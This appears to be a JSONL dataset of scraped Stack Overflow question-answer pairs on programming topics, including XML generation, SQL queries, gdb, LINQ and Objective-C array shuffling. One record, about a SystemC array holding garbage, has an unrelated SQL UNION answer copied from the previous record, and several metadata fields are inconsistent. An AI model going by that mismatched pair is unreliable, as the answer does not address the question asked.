{"id": "hf_b8fe2eaefd49", "question": "<p>I'm currently trying ElementTree and it looks fine, it escapes HTML entities and so on and so forth. Am I missing something truly wonderful I haven't heard of?</p>\n\n<p>This is similar to what I'm actually doing:</p>\n\n<pre><code>import xml.etree.ElementTree as ET\nroot = ET.Element('html')\nhead = ET.SubElement(root,'head')\nscript = ET.SubElement(head,'script')\nscript.set('type','text/javascript')\nscript.text = \"var a = 'I love &amp;aacute; letters'\"\nbody = ET.SubElement(root,'body')\nh1 = ET.SubElement(body,'h1')\nh1.text = \"And I like the fact that 3 &gt; 1\"\ntree = ET.ElementTree(root)\ntree.write('foo.xhtml')\n\n# more foo.xhtml\n&lt;html&gt;&lt;head&gt;&lt;script type=\"text/javascript\"&gt;var a = 'I love &amp;amp;aacute;\nletters'&lt;/script&gt;&lt;/head&gt;&lt;body&gt;&lt;h1&gt;And I like the fact that 3 &amp;gt; 1&lt;/h1&gt;\n&lt;/body&gt;&lt;/html&gt;\n</code></pre>\n", "question_body": "", "answer": "don't you actually want something like:\n```\n```\nhtml(head(script(type='text/javascript', content='var a = ...')),\nbody(h1('And I like the fact that 3 < 1'), p('just some paragraph'))\n```\n```\nI think I saw something like that somewhere. This would be wonderful.\nEDIT:\nActually, I went and wrote a library today to do\njust that\n:\nmagictree\nYou can use it like this:\n```\n```\nfrom magictree import html, head, script, body, h1, p\nroot = html(\n         head(\n           script('''var a = 'I love &amp;aacute; letters''', \n                  type='text/javascript')),\n         body(\n           h1('And I like the fact that 3 > 1')))\n\n# root is a plain Element object, like those created with ET.Element...\n# so you can write it out using ElementTree :)\ntree = ET.ElementTree(root)\ntree.write('foo.xhtml')\n```\n```\nThe magic in\n```\nmagictree\n```\nlies in how the importing works: The\n```\nElement\n```\nfactories are created when needed. Have a\nlook at the source\n, it is\nbased on an answer to another StackOverflow question\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.454397"}
{"id": "hf_0da97281d926", "question": "<p>We're building a CMS. The site will be built and managed by the users in aspx pages, but we would like to create a static site of HTML's. \nThe way we're doing it now is with code I found <a href=\"http://forums.asp.net/p/931180/1092188.aspx#1092188\" rel=\"nofollow noreferrer\">here</a> that overloads the Render method in the Aspx Page and writes the HTML string to a file. This works fine for a single page, but the thing with our CMS is that we want to automatically create a few HTML pages for a site right from the start, even before the creator has edited anything in the system.\nDoes anyone know of any way to do this?</p>\n", "question_body": "", "answer": "Calling the\n```\nRender\n```\nmethod is still pretty simple. Just create an instance of your page, create a stub\n```\nWebContext\n```\nalong with the\n```\nWebRequest\n```\nobject, and call the\n```\nRender\n```\nmethod of the page. You are then free to do whatever you want with the results.\nAlternatively, write a little\n```\ncurl\n```\nor\n```\nwget\n```\nscript to download and store whichever pages you want to make static.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.526964"}
{"id": "hf_e69d9699703c", "question": "<p>I need to specify a date value in a sybase where clause. For example:</p>\n\n<pre><code>select * \nfrom data\nwhere dateVal &lt; [THE DATE]\n</code></pre>\n", "question_body": "", "answer": "Use the convert function, for example:\n```\n```\nselect * from data \nwhere dateVal < convert(datetime, '01/01/2008', 103)\n```\n```\nWhere the convert style (103) determines the date format to use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.551924"}
{"id": "hf_3496b3ae1df7", "question": "<p>Is anyone out there using D for real world applications? If so, what are you using it for? I can't seem to find anything big on the web written in D.</p>\n\n<p>Despite the lack of known big users, D seems like a very promissing language to me, and according to <a href=\"http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html\" rel=\"noreferrer\">TIOBE</a>, it's fairly popular.</p>\n", "question_body": "", "answer": "I suppose we can read something into the lack of immediate answers to this question and that is that not many/any of the acive stackoverflow responders are using D. I was also a little surprised about the level of its ranking in the TIOBE listing that you link to.\nHaving said that, Walter Bright has been working on the language for quite a number of years now and I think he has quite a number of `followers' who remember what a good job he did with the Zortech C++ compiler back in the '90s. I also note that the language appears to be leaning towards the functional direction now.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.594832"}
{"id": "hf_e2dfedb045ef", "question": "<p>Suppose that two tables exist: <code>users</code> and <code>groups</code>.</p>\n\n<p><strong>How does one provide \"simple search\" in which a user enters text and results contain both users and groups whose names contain the text?</strong></p>\n\n<p>The result of the search must distinguish between the two types.</p>\n", "question_body": "", "answer": "The trick is to combine a\n```\nUNION\n```\nwith a literal string to determine the type of 'object' returned. In most (?) cases, UNION ALL will be more efficient, and should be used unless duplicates are required in the sub-queries. The following pattern should suffice:\n```\n```\nSELECT \"group\" type, name\n   FROM groups\n  WHERE name LIKE \"%$text%\"\nUNION ALL\n SELECT \"user\" type, name\n   FROM users\n  WHERE name LIKE \"%$text%\"\n```\n```\nNOTE\n: I've added the answer myself, because I came across this problem yesterday, couldn't find a good solution, and used this method. If someone has a better approach, please feel free to add it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.642355"}
{"id": "hf_e569549558c3", "question": "<p>I have a class in system-C with some data members as such:  </p>\n\n<pre><code>long double x[8];\n</code></pre>\n\n<p>I'm initializing it in the construction like this:</p>\n\n<pre><code>for (i = 0; i &lt; 8; ++i) {\n    x[i] = 0;\n}\n</code></pre>\n\n<p>But the first time I use it in my code I have garbage there.</p>\n\n<p>Because of the way the system is built I can't connect a debugger easily.  Are there any methods to set a data breakpoint in the code so that it tells me where in the code the variables were actually changed, but without hooking up a debugger?</p>\n\n<p>Edit:\n@Prakash: \nActually, this is a typo in the <em>question</em>, but not in my code...  Thanks!</p>\n", "question_body": "", "answer": "The trick is to combine a\n```\nUNION\n```\nwith a literal string to determine the type of 'object' returned. In most (?) cases, UNION ALL will be more efficient, and should be used unless duplicates are required in the sub-queries. The following pattern should suffice:\n```\n```\nSELECT \"group\" type, name\n   FROM groups\n  WHERE name LIKE \"%$text%\"\nUNION ALL\n SELECT \"user\" type, name\n   FROM users\n  WHERE name LIKE \"%$text%\"\n```\n```\nNOTE\n: I've added the answer myself, because I came across this problem yesterday, couldn't find a good solution, and used this method. If someone has a better approach, please feel free to add it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.666393"}
{"id": "hf_e5407c715222", "question": "<p>I'm starting to learn ruby. I'm also a day-to-day C++ dev.\nFor C++ projects I usually go with following dir structure</p>\n\n<pre><code>/\n -/bin &lt;- built binaries\n -/build &lt;- build time temporary object (eg. .obj, cmake intermediates)\n -/doc &lt;- manuals and/or Doxygen docs\n -/src\n --/module-1\n --/module-2\n -- non module specific sources, like main.cpp\n - IDE project files (.sln), etc.\n</code></pre>\n\n<p>What dir layout for Ruby (non-Rails, non-Merb) would you suggest to keep it clean, simple and maintainable?</p>\n", "question_body": "", "answer": "Why not use just the same layout? Normally you won't need build because there's no compilation step, but the rest seems OK to me.\nI'm not sure what you mean by a module but if it's just a single class a separate folder wouldn't be necessary and if there's more than one file you normally write a module-1.rb file (at the name level as the module-1 folder) that does nothing more than require everything in module-1/.\nOh, and I would suggest using\nRake\nfor the management tasks (instead of make).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.734583"}
{"id": "hf_16b1d6e4b164", "question": "<p>I am writing a unit test to check that a private method will close a stream.</p>\n\n<p>The unit test calls methodB and the variable something is null</p>\n\n<p>The unit test doesn't mock the class on test</p>\n\n<p>The private method is within a public method that I am calling.</p>\n\n<p>Using emma in eclipse (via the eclemma plugin) the method call is displayed as not being covered even though the code within the method is</p>\n\n<p>e.g</p>\n\n<pre><code>public methodA(){\n\n    if (something==null) {\n        methodB(); //Not displayed as covered\n    }\n}\n\nprivate methodB(){\n    lineCoveredByTest; //displayed as covered\n}\n</code></pre>\n\n<p>Why would the method call not be highlighted as being covered?</p>\n", "question_body": "", "answer": "I assume when you say 'the unit test calls\n```\nmethodB()\n```\n', you mean not directly and via\n```\nmethodA()\n```\n.\nSo, is it possible\n```\nmethodB()\n```\nis being called elsewhere, by another unit test or\n```\nmethodC()\n```\nmaybe?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.758714"}
{"id": "hf_894d7aae4976", "question": "<p>I am trying to make SVG XML documents with a mixture of lines and brief text snippets (two or three words typically). The major problem I'm having is getting the text aligning with line segments.</p>\n\n<p>For horizontal alignment I can use <code>text-anchor</code> with <code>left</code>, <code>middle</code> or <code>right</code>. I can't find a equivalent for vertical alignment; <code>alignment-baseline</code> doesn't seem to do it, so at present I'm using <code>dy=\"0.5ex\"</code> as a kludge for centre alignment.</p>\n\n<p>Is there a proper manner for aligning with the vertical centre or top of the text?</p>\n", "question_body": "", "answer": "It turns out that you don't need explicit text paths. Firefox 3 has only partial support of the vertical alignment tags (\nsee this thread\n). It also seems that dominant-baseline only works when applied as a style whereas text-anchor can be part of the style or a tag attribute.\n```\n```\n<path d=\"M10, 20 L17, 20\"\n      style=\"fill:none; color:black; stroke:black; stroke-width:1.00\"/>\n<text fill=\"black\" font-family=\"sans-serif\" font-size=\"16\"\n      x=\"27\" y=\"20\" style=\"dominant-baseline: central;\">\n  Vertical\n</text>\n\n<path d=\"M60, 40 L60, 47\"\n      style=\"fill:none; color:red; stroke:red; stroke-width:1.00\"/>\n<text fill=\"red\" font-family=\"sans-serif\" font-size=\"16\"\n      x=\"60\" y=\"70\" style=\"text-anchor: middle;\">\n  Horizontal\n</text>\n\n<path d=\"M60, 90 L60, 97\"\n      style=\"fill:none; color:blue; stroke:blue; stroke-width:1.00\"/>\n<text fill=\"blue\" font-family=\"sans-serif\" font-size=\"16\"\n      x=\"60\" y=\"97\" style=\"text-anchor: middle; dominant-baseline: hanging;\">\n  Bit of Both\n</text>\n```\n```\nThis works in Firefox. Unfortunately Inkscape doesn't seem to handle dominant-baseline (or at least not in the same way).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.807581"}
{"id": "hf_0e8fffcabb0a", "question": "<p>We're at the beginning of a new ERP-ish client-server application, developed as a Python rich client.  We're currently evaluating Dabo as our main framework and it looks quite nice and easy to use, but I was wondering, has anyone used it for medium-to-big sized projects?<br>\nThanks for your time!</p>\n", "question_body": "", "answer": "I have no Dabo experience at all but this question is on the top of the list fo such a long time that I decided to give it a shot:\nFramework selection\nAssumptions:\nmedium-to-big project: we're talking about a team of more than 20 people working on something for about a year for the first phase. This is usually an expensive and very important effort for the client.\nthis project will have significant amount of users (around a hundred) so performance is essential\nit's an ERP project so the application will work with large amounts of information\nyou have no prior Dabo experience in your team\nConsiderations:\nI could not open Dabo project site right now. There seems to be some server problem. That alone would make me think twice about using it for a big project.\nIt's not a well-known framework.  Typing Dabo in Google returns almost no useful results, it does not have a Wikipedia page, all-in-all it's quite obscure. It means that when you will have problems with it (and you will have problems with it) you will have almost no place to go. Your question was unanswered for 8 days on SO, this alone would make me re-consider. If you base your project on an obscure technology you have no previous experience with - it's a huge risk.\nYou don't have people who know that framework in your team. It means that you have to learn it to get any results at all and to master it will require quite significant amount of time. You will have to factor that time into your project plan. Do you really need it?\nWhat does this framework give you that you cannot do yourself? Quite a lot of time my team tried to use some third-party component or tool only to find that building a custom one would be faster than dealing with third-party problems and limitations. There are brilliant tools available to people nowadays and we would be lost without them - but you have to carefully consider if this tool  is one of them\nDabo project version is 0.84. Do you know if they spend time optimising their code for performance at this stage? Did you run any tests to see it will sustain the load you have in your NFRs.\nHope that helps :) Good luck with your project", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.844601"}
{"id": "hf_a80bfd9dc5b5", "question": "<p>I've got it configured, but I want more from it...maybe Cygwin isn't the right tool, but I like how it provides a *nix-like environment within Windows.</p>\n", "question_body": "", "answer": "I'm quite interested in this question myself. I've used the\nCygwin Setup guide\nto get set up, but it doesn't get you all the way. One thing that I learned from it, though, is that it recommends leaving the setup.exe in the directory with Cygwin so that you can quickly add packages, since apt-get apparently doesn't work that well in Cygwin. The article also talks about cyg-get as an alternative.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.882985"}
{"id": "hf_9802955216ff", "question": "<p>I have a foxpro app, that contains hard coded path for icons and bitmaps. That's how foxpro does it and there is no way around it. And this works fine, except that when a removable drive has been used but is not connected, and when is connected windows assigns the same letter as hard coded path, when opening any form that contains such path, the following error message apears (<strong>FROM WINDOWS</strong>, not fox):</p>\n\n<p>Windows-No disk\nException Processing Message c0000012 Parameters .....</p>\n\n<p>Any help please\nNelson Marmol</p>\n", "question_body": "", "answer": "Nelson:\n\"That's how foxpro does it and there is no way around it\"?\nI'm using FOX since FoxPro 2.5 to Visual FoxPro 9, and you are NEVER forced in any way to hard-code a path, you can use SET PATH TO (sYourPath), you can embed the icons and bitmaps in your EXE / APP file and therefore there's no need of including this resources externally.\nYou say that you have a \"Foxpro App\": which version? Old MS-DOS FoxPro o Visual FoxPro?\nIf you're using VFP 8+, you can use SYS(2450, 1):\n```\n```\nSpecifies how an application searches for data and resources such as functions, procedures, executable files, and so on. \n\nYou can use SYS(2450) to specify that Visual FoxPro searches within an application for a specific procedure or user-defined function (UDF) before it searches along the SET DEFAULT and SET PATH locations. Setting SYS(2450) can help improve performance for applications that run on a local or wide area network.\n\nSYS(2450 [, 0 | 1 ])\n\nParameters\n0 \nSearch along path and default locations before searching in the application. (Default)\n\n1 \nSearch within the application for the specified procedure or UDF before searching the path and default locations.\n```\n```\nOne quick workaround could be assign another letter to your USB via the Disk Manager.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.914196"}
{"id": "hf_dba9d05813f1", "question": "<p>I am looking for a reliable technique for adding Ajax to a working ASP.NET MVC application. I want to use jQuery, and understand how to use the AJAX functionality from jQuery. </p>\n\n<p>What I need to know is how I should write my controller so that I can run the site without JavaScript, but at the same time make AJAX calls possible without the need for a separate view, separate controller, or any kind of route hack. My goal is to have a working application enhanced when JavaScript is enabled without the need to duplicate or recreate elements of the app.</p>\n", "question_body": "", "answer": "Typically you would create your site so that it works without JavaScript being enabled. Then you would add the\nunobtrusive JavaScript\nneeded to enhance your site with Ajax e.g. adding event handlers for links, form submits, etc. to make GET / POST requests and update your UI accordingly.\nThe only changes you would need in your MVC app would be to handle the Ajax requests and return the data as JSON, XML, etc.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.950926"}
{"id": "hf_a8d4086a7617", "question": "<p>I'm trying to send messages to Objective-C objects in gdb.</p>\n\n<pre><code>(gdb) p $esi\n$2 = (void *) 0x1268160\n(gdb) po $esi\n&lt;NSArray: 0x1359c0&gt;\n(gdb) po [$esi count]\nTarget does not respond to this message selector.\n</code></pre>\n\n<p>I can't send any message to it. Am I missing something? Do I really need the symbols, or something else?</p>\n", "question_body": "", "answer": "Is it possible that you need to cast\n```\n$esi\n```\n?\n```\n```\np (NSUInteger)[(NSArray *)$esi count]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:02.988271"}
{"id": "hf_d5560c6f27a0", "question": "<p>I am looking for a way to interact with a standalone full version of Windows Media Player.<br>\nMostly I need to know the Path of the currently played track.</p>\n\n<p>The iTunes SDK makes this really easy but unfortunately there really isn't any way to do it with Windows Media Player, at least not in .Net(C#) without any heavy use of pinvoke, which I am not really comfortable with.</p>\n\n<p>Thanks</p>\n\n<p>Just to clearify: I don't want to embedded a new instance of Windows Media Player in my app, but instead control/read the \"real\" full version of Windows Media Player, started seperatly by the user</p>\n", "question_body": "", "answer": "I had this\nhttps://social.msdn.microsoft.com/Forums/vstudio/en-US/dbd43d7e-f3a6-4087-be06-df17e76b635d/windows-media-player-remoting-in-c?forum=clr\nin my bookmarks but have NOT tested it in anyway. Just a pointer in the right direction. It's nothing official and will require a bit of digging, but you should get a fairly simple wrapper (which will still use PInvoke under the hood - but you won't see it) around Windows Media Player.\nHope that helps.\nOh, I misunderstood. I thought you were talking about controlling the currently running Windows Media Player instance. If you are hosting Windows Media Player yourself then WMPLib is certainly the better solution.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.012480"}
{"id": "hf_e552a71ae08a", "question": "<p>In C# are the nullable primitive types (i.e. <code>bool?</code>) just aliases for their corresponding <code>Nullable&lt;T&gt;</code> type or is there a difference between the two?</p>\n", "question_body": "", "answer": "A\n```\nNullable<T>\n```\nis a structure consisting of a T and a bit flag indicating whether or not the T is valid.  A\n```\nNullable<bool>\n```\nhas three possible values: true, false and null.\nEdit:\nAh, I missed the fact that the question mark after \"bool\" was actually part of the type name and not an indicator that you were asking a question :).  The answer to your question, then, is \"yes, the C#\n```\nbool?\n```\nis just an alias for\n```\nNullable<bool>\n```\n\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.062241"}
{"id": "hf_bfb840406073", "question": "<p>How do you perform a CROSS JOIN with LINQ to SQL?</p>\n", "question_body": "", "answer": "A cross-join is simply the Cartesian product of two sets. There's no explicit join operator for it.\n```\nvar combo = from p in people\n            from c in cars\n            select new\n            {\n                p.Name,\n                c.Make,\n                c.Model,\n                c.Colour\n            };\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.127330"}
{"id": "hf_2b59a77a9665", "question": "<p>Does a new <code>SessionFactor</code>y and <code>Session</code> object have to be created for each database? I have a data store for my application data, and a separate data store for my employee security, which is used to validate users. Do I have to create a new SessionFactory ans Session object for calls to the 2 different databases?</p>\n", "question_body": "", "answer": "ok so this doesn't answer your question directly but it might offer an insight as to why you should create multiple session objects for each datastore.\nThis article\nexplains how you can implement a thread safe lazy singleton for each type of Session you need so that you only have one session per datastore but it's shared across the entire application. So at most you're only ever going to have 2 session objects.\nTo directly answer your question however, you will need 1 session object per database.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.210538"}
{"id": "hf_3613a3360fd5", "question": "<blockquote>\n  <p><strong>Possible Duplicate:</strong><br>\n  <a href=\"https://stackoverflow.com/questions/361635/debugging-javascript-in-ie7\">Debugging JavaScript in IE7</a>  </p>\n</blockquote>\n\n\n\n<p>Firefox has Web Developer plugin and Firebug for troubleshooting html/css/javascript issues. Google Chrome and Safari have a very similar console and right-click options for \"Inspect Element\".</p>\n\n<p>Does IE7 have anything similar for troubleshooting layout/html/css issues?</p>\n", "question_body": "", "answer": "Web Development Helper\nWeb Development Helper is a free browser extension for Internet Explorer that provides a set of tools and utilities for the Web developer, esp. Ajax and ASP.NET developers. The tool provides features such as a DOM inspector, an HTTP tracing tool, and script diagnostics and immediate window.\nWeb Development Helper works against IE6+, and requires the .NET Framework 2.0 or greater to be installed on the machine.\nOnce installed, the tool can be activated using the Tools | Web Development Helper command. You can also customize your browser's toolbar to add a button for this command to facilitate frequest use. Clicking on the menu command or browser button brings up the tool's console window and set of commands.\nPage Features:\nDOM inspector allows viewing all elements, selected elements, or elements matching an ID or CSS class, their attributes and styles. \nCapturing a screen shot of the current page. \nViewing page information such as metadata, tags, and linked resources.\n.......", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.251414"}
{"id": "hf_1e6b1588e403", "question": "<p>I'm not a SQL expert, and I'm reminded of the fact every time I need to do something beyond the basics. I have a test database that is not large in size, but the transaction log definitely is. How do I clear out the transaction log?</p>\n", "question_body": "", "answer": "Here is a simple and\nvery inelegant\n&\npotentially dangerous\nway.\nBackup DB\nDetach DB\nRename Log file\nAttach DB\nNew log file will be recreated\nDelete Renamed Log file.\nI'm guessing that you are not doing log backups. (Which truncate the log). My advice is to change recovery model from\nfull\nto\nsimple\n. This will prevent log bloat.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.275990"}
{"id": "hf_741843fc71cf", "question": "<p>Slashdot has a little widget that allows you to tweak your comment threshold to filter out down-modded comments.  It will be in one place if you scroll to the top of the page, and as you scroll down, at some point, where its original home is about to scroll off the page, it will switch to fixed position, and stay on your screen.  (To see an example, click <a href=\"http://news.slashdot.org/news/08/09/10/2257242.shtml\" rel=\"nofollow noreferrer\">here</a>.)</p>\n\n<p>My question is, how can I accomplish the same effect of having a menu be in one place when scrolled up, and switch to fixed position as the user scrolls down?  I know this will involve a combination of CSS and javascript.  I'm not necessarily looking for a full example of working code, but what steps will my code need to go through?</p>\n", "question_body": "", "answer": "Okay, I figured it out.  I will post it here in case it help anyone else.  This solution uses prototype, and an internal library that gives me the registerEvent, getElementX and getElementY functions, which do what you would think.\n```\n```\nvar MenuManager = Class.create({\n    initialize: function initialize(menuElt) {\n        this.menu = $(menuElt);\n        this.homePosn = { x: getElementX(this.menu), y: getElementY(this.menu) };\n        registerEvent(document, 'scroll', this.handleScroll.bind(this));\n        this.handleScroll();\n    },\n    handleScroll: function handleScroll() {\n        this.scrollOffset = document.viewport.getScrollOffsets().top;\n        if (this.scrollOffset > this.homePosn.y) {\n            this.menu.style.position = 'fixed';\n            this.menu.style.top = 0;\n            this.menu.style.left = this.homePosn.x;\n        } else {\n            this.menu.style.position = 'absolute';\n            this.menu.style.top = null;\n            this.menu.style.left = null;\n        }\n    }\n});\n```\n```\nJust call the constructor with the id of your menu, and the class will take it from there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.300144"}
{"id": "hf_740539169f75", "question": "<p>I want to convert a number that is in <a href=\"https://en.wikipedia.org/wiki/Netscape_Portable_Runtime#Time\" rel=\"nofollow noreferrer\">PRTime</a> format (a 64-bit integer representing the number of microseconds since midnight (00:00:00) 1 January 1970 Coordinated Universal Time (UTC)) to a <code>DateTime</code>.</p>\n<p>Note that this is slightly different than the usual &quot;number of milliseconds since 1/1/1970&quot;.</p>\n", "question_body": "", "answer": "```\n```\nDim prTimeInMillis As UInt64\nprTimeInMillis = prTime/1000\n\nDim prDateTime As New DateTime(1970, 1, 1)\nprDateTime = prDateTime.AddMilliseconds(prTimeInMillis)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.324467"}
{"id": "hf_974f03644cd2", "question": "<p>I am building on C++ dll, by writing code in C#.</p>\n\n<p>I get an error, saying </p>\n\n<blockquote>\n  <p>LoaderLock was detected Message:\n  Attempting managed execution inside OS\n  Loader lock. Do not attempt to run\n  managed code inside a DllMain or image\n  initialization function since doing so\n  can cause the application to hang.</p>\n</blockquote>\n\n<p>I tried seraching what this error exactly means, but I am drawing pointless articles, mostly saying that it's just a warning, and I should switch that off in Visual Studio.\nThe other solutions seem to be due to ITunes, or this problem occurring when programming with DirectX. My problem is connected to neither.</p>\n\n<p>Can anybody explain, what this actually means?</p>\n", "question_body": "", "answer": "The general idea of loader lock:\nThe system runs the code in DllMain inside a lock (as in - synchronization lock). Therefore, running non-trivial code inside DllMain is \"asking for a deadlock\", as described\nhere\n.\nThe question is, why are you trying to run code inside DllMain? Is it crucial that this code run inside the context of DllMain or can you spawn a new thread and run the code in it, and not wait for the code to finish execution inside DllMain?\nI believe that the problem with manged code specifically, is that running managed code might involves loading the CLR and suchlike and there's no knowing what could happen there that would result in a deadlock... I would not heed the advice of \"disable this warning\" if I were you because most chances are you'll find your applications hangs unexpectedly under some scenarios.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.348957"}
{"id": "hf_f711143b7a60", "question": "<p>If you have an <code>NSMutableArray</code>, how do you shuffle the elements randomly?</p>\n\n<p>(I have my own answer for this, which is posted below, but I'm new to Cocoa and I'm interested to know if there is a better way.)</p>\n\n<hr>\n\n<p>Update: As noted by @Mukesh, as of iOS 10+ and macOS 10.12+, there is an <code>-[NSMutableArray shuffledArray]</code> method that can be used to shuffle. See <a href=\"https://developer.apple.com/documentation/foundation/nsarray/1640855-shuffledarray?language=objc\" rel=\"noreferrer\">https://developer.apple.com/documentation/foundation/nsarray/1640855-shuffledarray?language=objc</a> for details. (But note that this creates a new array, rather than shuffling the elements in place.)</p>\n", "question_body": "", "answer": "I solved this by adding a category to NSMutableArray.\nEdit:\nRemoved unnecessary method thanks to answer by Ladd.\nEdit:\nChanged\n```\n(arc4random() % nElements)\n```\nto\n```\narc4random_uniform(nElements)\n```\nthanks to answer by Gregory Goltsov and comments by miho and blahdiblah\nEdit:\nLoop improvement, thanks to comment by Ron\nEdit:\nAdded check that array is not empty, thanks to comment by Mahesh Agrawal\n```\n```\n//  NSMutableArray_Shuffling.h\n\n#if TARGET_OS_IPHONE\n#import <UIKit/UIKit.h>\n#else\n#include <Cocoa/Cocoa.h>\n#endif\n\n// This category enhances NSMutableArray by providing\n// methods to randomly shuffle the elements.\n@interface NSMutableArray (Shuffling)\n- (void)shuffle;\n@end\n\n//  NSMutableArray_Shuffling.m\n\n#import \"NSMutableArray_Shuffling.h\"\n\n@implementation NSMutableArray (Shuffling)\n\n- (void)shuffle\n{\n    NSUInteger count = [self count];\n    if (count <= 1) return;\n    for (NSUInteger i = 0; i < count - 1; ++i) {\n        NSInteger remainingCount = count - i;\n        NSInteger exchangeIndex = i + arc4random_uniform((u_int32_t )remainingCount);\n        [self exchangeObjectAtIndex:i withObjectAtIndex:exchangeIndex];\n    }\n}\n\n@end\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:03.384608"}
